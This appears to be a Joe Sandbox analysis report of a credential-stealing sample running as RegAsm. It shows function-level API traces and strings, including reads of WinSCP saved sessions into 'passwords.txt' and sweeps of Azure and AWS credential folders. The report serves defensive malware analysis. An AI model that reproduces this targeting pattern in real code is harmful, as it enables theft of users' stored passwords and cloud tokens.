Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$Value$Open$EnumH_prolog
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 784052110-2798830873
Opcode ID: 2f94ce2228e2c8618d847b394fe03628773b1532b970f34706a803fed8cc19af
Instruction ID: 99f3b0c8384fb080216de6c06ccbf3f36086a493a44c68c92d102b3ca48b793e
Opcode Fuzzy Hash: 2f94ce2228e2c8618d847b394fe03628773b1532b970f34706a803fed8cc19af
Instruction Fuzzy Hash: FAF129B1D00259AEDB11EBE1DC81EEEBB7CAF18304F1445ABA505B3182DB785B48CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00408428 Relevance: 59.8, APIs: 33, Strings: 1, Instructions: 258stringmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040842D

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040852D
GetFileSize.KERNEL32(00000000,00000000), ref: 00408535
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00408541
??_U@YAPAXI@Z.MSVCRT ref: 0040854B
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0040855C
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408568
HeapAlloc.KERNEL32(00000000), ref: 0040856F
StrStrA.SHLWAPI(?), ref: 00408581
StrStrA.SHLWAPI(-00000010), ref: 0040859B
lstrcat.KERNEL32(?), ref: 004085AF
lstrcat.KERNEL32(?,00000000), ref: 004085C1
lstrcat.KERNEL32(?,00424DA0), ref: 004085CF
lstrcat.KERNEL32(?,00000000), ref: 004085E1
lstrcat.KERNEL32(?,00424DA4), ref: 004085EF
lstrcat.KERNEL32(?), ref: 004085FE
lstrcat.KERNEL32(?,-00000010), ref: 00408608
lstrcat.KERNEL32(?,00424DA8), ref: 00408616
StrStrA.SHLWAPI(-000000FE), ref: 00408626
StrStrA.SHLWAPI(00000014), ref: 00408636
lstrcat.KERNEL32(?), ref: 0040864A

Part of subcall function 0040832A: memset.MSVCRT ref: 00408351
Part of subcall function 0040832A: lstrlenA.KERNEL32(00408656,00000001,?,00000014,00000000,00000000,?,00408656,00000014), ref: 0040836B
Part of subcall function 0040832A: CryptStringToBinaryA.CRYPT32(00408656,00000000,?,00408656,00000014), ref: 00408375
Part of subcall function 0040832A: memcpy.MSVCRT ref: 004083DD

lstrcat.KERNEL32(?,00000000), ref: 0040865B
lstrcat.KERNEL32(?,00424DAC), ref: 00408669
StrStrA.SHLWAPI(-000000FE), ref: 00408679
StrStrA.SHLWAPI(00000014), ref: 00408689
lstrcat.KERNEL32(?), ref: 0040869D

Part of subcall function 0040832A: lstrcat.KERNEL32(00424BDF,00424BE3), ref: 00408404
Part of subcall function 0040832A: lstrcat.KERNEL32(00424BDF,00424BE6), ref: 0040841C

lstrcat.KERNEL32(?,00000000), ref: 004086AE
lstrcat.KERNEL32(?,00424DB0), ref: 004086BC
lstrcat.KERNEL32(?,00424DB4), ref: 004086CA
StrStrA.SHLWAPI(-000000FE), ref: 004086DA
lstrlenA.KERNEL32(?), ref: 004086F0
memset.MSVCRT ref: 00408743
CloseHandle.KERNEL32(00000000), ref: 0040874C

Strings

passwords.txt, xrefs: 00408702

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$H_prologlstrlen$HeapPointermemset$AllocBinaryCloseCryptHandleProcessReadSizeStringmemcpy
String ID: passwords.txt
API String ID: 2199717062-347816968
Opcode ID: 6e4a667533346ac0f5859deab80df632c1508782ce65bd4c710a45f3a3a326f6
Instruction ID: 4cb9c01856663f2d3d296e6bf867e5005dd0c34532cecdf588301216e44e64e6
Opcode Fuzzy Hash: 6e4a667533346ac0f5859deab80df632c1508782ce65bd4c710a45f3a3a326f6
Instruction Fuzzy Hash: AAA15972800129EFDB01EBA1DD4AEEE7F7AFF19304F10182AF511A21A1DB750A15DB65

Uniqueness

Uniqueness Score: -1.00%

Function 1B575660 Relevance: 53.0, APIs: 26, Strings: 4, Instructions: 452COMMON

Download Yara Rule

Strings

_node, xrefs: 1B57579E
,%.*s, xrefs: 1B575804, 1B575835
CREATE TABLE x(%.*s INT, xrefs: 1B5757CA
Auxiliary rtree columns must be last, xrefs: 1B5756B3, 1B5758B3

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: ,%.*s$Auxiliary rtree columns must be last$CREATE TABLE x(%.*s INT$_node
API String ID: 0-209218429
Opcode ID: 682db500afecb686c8b0fb0c1c3258d1abf666f186ba9134499ddc06cda3183b
Instruction ID: ae3fd1efd63f099223a886612802c4e3fb341daac595dfb5b8a26adb63c33cb1
Opcode Fuzzy Hash: 682db500afecb686c8b0fb0c1c3258d1abf666f186ba9134499ddc06cda3183b
Instruction Fuzzy Hash: B4F10A756003419FDB149F24E881B9BBBF8FF98318F44492DED8A87201D735E959CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BCC80 Relevance: 47.7, APIs: 15, Strings: 12, Instructions: 470COMMON

Download Yara Rule

Strings

%02d:%02d:%02d, xrefs: 1B4BD12E
u, xrefs: 1B4BD16D
%.3f, xrefs: 1B4BD0BF
%02d, xrefs: 1B4BCE2C, 1B4BCE34, 1B4BCF27, 1B4BCF6F, 1B4BCFCE, 1B4BCFE9, 1B4BD10A
%04d-%02d-%02d, xrefs: 1B4BCE82
%06.3f, xrefs: 1B4BCE5F
%02d:%02d, xrefs: 1B4BD080
%2d, xrefs: 1B4BCE27
%lld, xrefs: 1B4BD0EE
%.16g, xrefs: 1B4BCFB3
%04d, xrefs: 1B4BD1CE
%03d, xrefs: 1B4BCF81, 1B4BCF8B

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %.16g$%.3f$%02d$%02d:%02d$%02d:%02d:%02d$%03d$%04d$%04d-%02d-%02d$%06.3f$%2d$%lld$u
API String ID: 0-1613945299
Opcode ID: 5ce2280f04b2c4de571e5758652d51e44d99815295ff982505769a9ef2270e1c
Instruction ID: c0718d8091d3d17c099cf539590a06cb9928f5fb099d8682cda0e2830a9270d5
Opcode Fuzzy Hash: 5ce2280f04b2c4de571e5758652d51e44d99815295ff982505769a9ef2270e1c
Instruction Fuzzy Hash: 3BF106B1908344ABDB048F64DD41FEFB7EAAF89704F04CA1DF9C496241E639E9458B63

Uniqueness

Uniqueness Score: -1.00%

Function 1B539120 Relevance: 45.9, APIs: 23, Strings: 3, Instructions: 355COMMON

Download Yara Rule

Strings

_node, xrefs: 1B539202
CREATE TABLE x(_shape, xrefs: 1B539268
,%s, xrefs: 1B539297

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: ,%s$CREATE TABLE x(_shape$_node
API String ID: 0-1242591684
Opcode ID: dc9d89105961e2456e9e4d86def8b3d84e0400b89c319c1eb14f95a28f4cc2d5
Instruction ID: 37c8096c43508955b700f2c38d5ed2a46673f1a7f38b82f86dc220e24d3262d0
Opcode Fuzzy Hash: dc9d89105961e2456e9e4d86def8b3d84e0400b89c319c1eb14f95a28f4cc2d5
Instruction Fuzzy Hash: F4C1F2B5500301ABEB109F64DCC9B977BB8FF9431AF04452CED8A86321D736E959CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B5EB050 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 251COMMON

Download Yara Rule

Strings

NULL, xrefs: 1B5EB267, 1B5EB324, 1B5EB325
BINARY, xrefs: 1B5EB0D3
k(%d, xrefs: 1B5EB0A5
program, xrefs: 1B5EB2FB
%c%u, xrefs: 1B5EB2C3
vtab:%p, xrefs: 1B5EB283
%s(%d), xrefs: 1B5EB1B3
%.18s-%s, xrefs: 1B5EB192
,%s%s%s, xrefs: 1B5EB137
%lld, xrefs: 1B5EB1DA, 1B5EB24C
%.16g, xrefs: 1B5EB217
(blob), xrefs: 1B5EB26C

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %.16g$%.18s-%s$%c%u$%lld$%s(%d)$(blob)$,%s%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 0-900822179
Opcode ID: 6e5ee7087c2f6be32a926b73e523c7a0a10f048773ef82efb8e513c441091237
Instruction ID: bbd446b26550258dbeb8a021221716067557f7feb84151dff2dcb5a3d52eedb2
Opcode Fuzzy Hash: 6e5ee7087c2f6be32a926b73e523c7a0a10f048773ef82efb8e513c441091237
Instruction Fuzzy Hash: 7991E6B19083059BEB04CF24C8C1BEBBBE5AF59705F54498DE895CB252D332E946C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AD820 Relevance: 35.2, APIs: 8, Strings: 12, Instructions: 223COMMON

Download Yara Rule

Strings

fts3_tokenizer, xrefs: 1B4AD921
simple, xrefs: 1B4AD8A9
matchinfo, xrefs: 1B4AD970, 1B4AD98A
fts4aux, xrefs: 1B4AD840
porter, xrefs: 1B4AD8EE
fts3tokenize, xrefs: 1B4ADA27
fts4, xrefs: 1B4AD9F0
unicode61, xrefs: 1B4AD90B
optimize, xrefs: 1B4AD9A4
snippet, xrefs: 1B4AD93C
fts3, xrefs: 1B4AD9CA
offsets, xrefs: 1B4AD956

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 0-449611708
Opcode ID: f18d4ea07c2ab62da686cedbcecf2f1f2c3e4107567e280d7a4d1e950be6dcc6
Instruction ID: 062053bfd1bfa9432cd9a8194b4f1d99e4795ccf72b734f7b02ce9e64bec9f00
Opcode Fuzzy Hash: f18d4ea07c2ab62da686cedbcecf2f1f2c3e4107567e280d7a4d1e950be6dcc6
Instruction Fuzzy Hash: EB514CB0B0430167EB102F75ACC5FDB7AA86F74619F00813CFDDAA6341E768E519C2A2

Uniqueness

Uniqueness Score: -1.00%

Function 004157FD Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 135stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415802
memset.MSVCRT ref: 00415822

Part of subcall function 0040FD0C: SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

lstrcat.KERNEL32(?,00000000), ref: 00415848
lstrcat.KERNEL32(?,\.azure\), ref: 00415865

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0041531B: _EH_prolog.MSVCRT ref: 00415320
Part of subcall function 0041531B: wsprintfA.USER32 ref: 00415340
Part of subcall function 0041531B: FindFirstFileA.KERNEL32(?,?), ref: 00415357
Part of subcall function 0041531B: StrCmpCA.SHLWAPI(?,00425854), ref: 00415374
Part of subcall function 0041531B: StrCmpCA.SHLWAPI(?,00425858), ref: 0041538E
Part of subcall function 0041531B: wsprintfA.USER32 ref: 004153B2
Part of subcall function 0041531B: StrCmpCA.SHLWAPI(?,004254BF), ref: 004153C3
Part of subcall function 0041531B: wsprintfA.USER32 ref: 004153E0
Part of subcall function 0041531B: PathMatchSpecA.SHLWAPI(?,?), ref: 00415407
Part of subcall function 0041531B: lstrcat.KERNEL32(?,?), ref: 00415433
Part of subcall function 0041531B: lstrcat.KERNEL32(?,00425870), ref: 00415445
Part of subcall function 0041531B: lstrcat.KERNEL32(?,?), ref: 00415455
Part of subcall function 0041531B: lstrcat.KERNEL32(?,00425874), ref: 00415467
Part of subcall function 0041531B: lstrcat.KERNEL32(?,?), ref: 0041547B

memset.MSVCRT ref: 004158A0
lstrcat.KERNEL32(?,00000000), ref: 004158CB
lstrcat.KERNEL32(?,\.aws\), ref: 004158E8

Part of subcall function 0041531B: wsprintfA.USER32 ref: 004153F4

memset.MSVCRT ref: 00415923
lstrcat.KERNEL32(?,00000000), ref: 0041594E
lstrcat.KERNEL32(?,\.IdentityService\), ref: 0041596B

Part of subcall function 0041531B: FindNextFileA.KERNEL32(00000000,?), ref: 00415616
Part of subcall function 0041531B: FindClose.KERNEL32(00000000), ref: 00415625

memset.MSVCRT ref: 004159A6

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

\.IdentityService\, xrefs: 0041595F
msal.cache, xrefs: 00415976
\.azure\, xrefs: 00415859
\.aws\, xrefs: 004158DC
*.*, xrefs: 00415870
Azure\.aws, xrefs: 004158EE
Azure\.azure, xrefs: 0041586B
Azure\.IdentityService, xrefs: 00415971
*.*, xrefs: 004158F3

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prologmemsetwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2836893066-974132213
Opcode ID: 5c309d8917c2dbb9d2bc30700055216cedeab1c1bd0d7ed21c405cdb9ab650f4
Instruction ID: fa8c46e6e26b95153925fc6919cb1346faf9ea8fd1a5faa0a0639d946a624cc1
Opcode Fuzzy Hash: 5c309d8917c2dbb9d2bc30700055216cedeab1c1bd0d7ed21c405cdb9ab650f4
Instruction Fuzzy Hash: 864192B1D4022CAADB01FBE1DC46EEE7B7CAF1C304F4005ABB555E3182DA7897588B65

Uniqueness

Uniqueness Score: -1.00%

Function 1B627FB0 Relevance: 33.6, APIs: 14, Strings: 5, Instructions: 342COMMON

Download Yara Rule

Strings

winGetTempname2, xrefs: 1B628094
winGetTempname4, xrefs: 1B628355
winGetTempname5, xrefs: 1B628233
winGetTempname1, xrefs: 1B62817B
etilqs_, xrefs: 1B62824C

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 0-2933911573
Opcode ID: 2a9e9985cd58c95ebf71ee9be85ce1b12d139d8ed8efcf550e4549b455e46e8b
Instruction ID: 7de1b07713f84838c6d6e8b92f751db237c78e219ef63f2fcd9b8ba6d1f3e3c6
Opcode Fuzzy Hash: 2a9e9985cd58c95ebf71ee9be85ce1b12d139d8ed8efcf550e4549b455e46e8b
Instruction Fuzzy Hash: 94A1A1F59403025BE7004B34AC81BFA7B99DFA1225F8445A9FCC597182E52BE50FDBB1

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B2BE0 Relevance: 31.8, APIs: 8, Strings: 10, Instructions: 346COMMON

Download Yara Rule

Strings

SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM "%w".sqlite_schema WHERE rootpage!=0), xrefs: 1B4B2DA4
misuse, xrefs: 1B4B2E73
NULL, xrefs: 1B4B2E38
invalid, xrefs: 1B4B2E4E
API call with %s database connection pointer, xrefs: 1B4B2E5A
unopened, xrefs: 1B4B2E55
WHERE name=%Q, xrefs: 1B4B2DB7
%s at line %d of [%.10s], xrefs: 1B4B2E78
ORDER BY name, xrefs: 1B4B2DCC
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4B2E69

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: ORDER BY name$%s at line %d of [%.10s]$API call with %s database connection pointer$NULL$SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM "%w".sqlite_schema WHERE rootpage!=0)$WHERE name=%Q$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$unopened
API String ID: 0-1179878930
Opcode ID: cb310e55b8ef9d304e186b7d61ecd6bfe11e48fc232817e8c0e6bbb29c753da4
Instruction ID: 8016e3151c8ca9c45308c78cadab350526264ee33489bc7269244061a795805b
Opcode Fuzzy Hash: cb310e55b8ef9d304e186b7d61ecd6bfe11e48fc232817e8c0e6bbb29c753da4
Instruction Fuzzy Hash: 67C126B09043019BDB108F14CA45BDB7FA4AF54355F04C928EE959B342E339E98AC7B2

Uniqueness

Uniqueness Score: -1.00%

Function 004087A5 Relevance: 30.4, APIs: 20, Instructions: 407stringmemoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004087AA

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004089FA
HeapAlloc.KERNEL32(00000000), ref: 00408A01
lstrcat.KERNEL32(?,00000000), ref: 00408B24
lstrcat.KERNEL32(?,00424DDC), ref: 00408B32
lstrcat.KERNEL32(?,00000000), ref: 00408B44
lstrcat.KERNEL32(?,00424DE0), ref: 00408B52
lstrlenA.KERNEL32(?), ref: 00408C65
lstrlenA.KERNEL32(?), ref: 00408C73

